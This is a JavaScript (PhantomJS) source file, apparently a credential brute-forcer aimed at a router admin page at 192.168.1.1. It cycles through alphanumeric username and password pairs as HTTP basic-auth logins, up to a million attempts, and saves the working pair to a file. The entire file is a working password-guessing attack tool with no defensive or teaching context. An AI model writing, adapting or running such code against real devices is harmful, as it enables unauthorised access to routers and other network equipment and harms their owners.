var pageCreator = require('../phantomLib/pageCreator');
var _ = require('lodash');
var fs = require('fs');

var routeIp = '192.168.1.1';
//var routeIp = 'http://192.168.1.100:4000/index';

// 0-9
var number = _.range(10).map(function (ele, i) {
  return i;
});
//a,a,a,a,a

//a-zA-Z
var  chars = _.range(26).map(function (ele, i) {
  return [97+i,65+i];
}).reduce(function (pre, next) {
  return pre.concat(next);
}).map(function (ele) {
  return String.fromCharCode(ele);
});

var allChars = number.concat(chars);

var usernameClass = {
  init:[10,10,10,10,10],
  value:[10,10,10,10,10],
  add: function (arr,index) {
    if(!arr){
      arr = this.value;
    }
    if(index === undefined){
      index = arr.length - 1;
    }

    if(arr[index] === 35){
      arr[index] = 0;
      index -= 1;
      if(index>=0){
        this.add(arr,index);
      }else{
        if(this.value.length < 12){
          this.value = [1].concat(this.value)
        }else{
          this.value = false;
        }
      }
    }else{
      arr[index]++;
    }
  },
  getValue: function () {
    if(!this.value){
      return this.value;
    }
    return this.value.map(function (v) {
      return allChars[v]
    }).join('');
  },
  reset: function () {
    this.value = this.init;
    return this.getValue();
  }
};

var passwordClass = _.cloneDeep(usernameClass);
//var passwordClass = _.assign({},usernameClass);

var tryMaxTimes = 1000000;
var iii = 0;
var requestRecursion = function () {

  var myPage = pageCreator();

  var u = usernameClass.getValue();
  var p = passwordClass.getValue();

  passwordClass.add();

  if(p === false){
    p = passwordClass.reset();
    usernameClass.add();
  }

  //console.log(p);

  myPage.settings.userName = u;
  myPage.settings.password = p;


  myPage.open(routeIp, function (status) {
    if(status === 'fail' && (++iii) < tryMaxTimes){
      console.log(iii,u,':',p);
      myPage.close();
      requestRecursion();
    }else{
      fs.write('up.txt',u + '=' + p);
      console.log(st);
      console.log(new Date());
    }
  });
};
var st = new Date();
/***
 * @param arg
 *
 * @param callback
 */
module.exports = function (arg,callback) {

  console.log('start:',usernameClass.getValue());

  //for(var i=0;i<98577;i++){
  //
  //  var u = usernameClass.getValue();
  //  var p = passwordClass.getValue();
  //
  //  passwordClass.add();
  //
  //  if(p === false){
  //    p = passwordClass.reset();
  //    usernameClass.add();
  //  }
  //}

  requestRecursion();
};